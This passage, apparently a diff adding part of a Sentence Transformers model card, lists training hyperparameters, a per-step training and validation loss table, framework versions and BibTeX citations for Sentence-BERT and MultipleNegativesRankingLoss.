`group_by_length`: False +- `length_column_name`: length +- `ddp_find_unused_parameters`: None +- `ddp_bucket_cap_mb`: None +- `ddp_broadcast_buffers`: False +- `dataloader_pin_memory`: True +- `dataloader_persistent_workers`: False +- `skip_memory_metrics`: True +- `use_legacy_prediction_loop`: False +- `push_to_hub`: False +- `resume_from_checkpoint`: None +- `hub_model_id`: None +- `hub_strategy`: every_save +- `hub_private_repo`: None +- `hub_always_push`: False +- `gradient_checkpointing`: False +- `gradient_checkpointing_kwargs`: None +- `include_inputs_for_metrics`: False +- `include_for_metrics`: [] +- `eval_do_concat_batches`: True +- `fp16_backend`: auto +- `push_to_hub_model_id`: None +- `push_to_hub_organization`: None +- `mp_parameters`: +- `auto_find_batch_size`: False +- `full_determinism`: False +- `torchdynamo`: None +- `ray_scope`: last +- `ddp_timeout`: 1800 +- `torch_compile`: False +- `torch_compile_backend`: None +- `torch_compile_mode`: None +- `include_tokens_per_second`: False +- `include_num_input_tokens_seen`: False +- `neftune_noise_alpha`: None +- `optim_target_modules`: None +- `batch_eval_metrics`: False +- `eval_on_start`: False +- `use_liger_kernel`: False +- `eval_use_gather_object`: False +- `average_tokens_across_devices`: False +- `prompts`: None +- `batch_sampler`: no_duplicates +- `multi_dataset_batch_sampler`: proportional + +
+ +### Training Logs +| Epoch | Step | Training Loss | Validation Loss | +|:------:|:----:|:-------------:|:---------------:| +| 0.0414 | 100 | 1.0176 | 0.3260 | +| 0.0827 | 200 | 0.373 | 0.3260 | +| 0.1241 | 300 | 0.376 | 0.2971 | +| 0.1655 | 400 | 0.3419 | 0.3132 | +| 0.2069 | 500 | 0.3402 | 0.2920 | +| 0.2482 | 600 | 0.3441 | 0.2975 | +| 0.2896 | 700 | 0.3337 | 0.3587 | +| 0.3310 | 800 | 0.3432 | 0.2844 | +| 0.3724 | 900 | 0.3338 | 0.2810 | +| 0.4137 | 1000 | 0.3349 | 0.2990 | +| 0.4551 | 1100 | 0.3172 | 0.2890 | +| 0.4965 | 1200 | 0.3191 | 0.2753 | +| 0.5379 | 1300 | 0.3122 | 0.2780 | +| 0.5792 | 1400 | 0.3169 | 0.2759 | +| 0.6206 | 1500 | 0.3137 | 0.2736 | +| 0.6620 | 1600 | 0.3107 | 0.2651 | +| 0.7034 | 1700 | 0.2981 | 0.2752 | +| 0.7447 | 1800 | 0.3173 | 0.2687 | +| 0.7861 | 1900 | 0.2996 | 0.2692 | +| 0.8275 | 2000 | 0.2877 | 0.2695 | +| 0.8688 | 2100 | 0.2953 | 0.2752 | +| 0.9102 | 2200 | 0.289 | 0.2694 | +| 0.9516 | 2300 | 0.2741 | 0.2651 | +| 0.9930 | 2400 | 0.3358 | 0.2605 | + + +### Framework Versions +- Python: 3.11.11 +- Sentence Transformers: 4.1.0 +- Transformers: 4.52.4 +- PyTorch: 2.8.0.dev20250319+cu128 +- Accelerate: 1.7.0 +- Datasets: 3.6.0 +- Tokenizers: 0.21.1 + +## Citation + +### BibTeX + +#### Sentence Transformers +```bibtex +@inproceedings{reimers-2019-sentence-bert, + title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", + author = "Reimers, Nils and Gurevych, Iryna", + booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", + month = "11", + year = "2019", + publisher = "Association for Computational Linguistics", + url = "https://arxiv.org/abs/1908.10084", +} +``` + +#### MultipleNegativesRankingLoss +```bibtex +@misc{henderson2017efficient, + title={Efficient Natural Language Response Suggestion for Smart Reply}, + author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil}, + year={2017}, + eprint={1705.00652}, + archivePrefix={arXiv}, + primaryClass={cs.CL} +} +``` + + + + + + \ No newline at end of file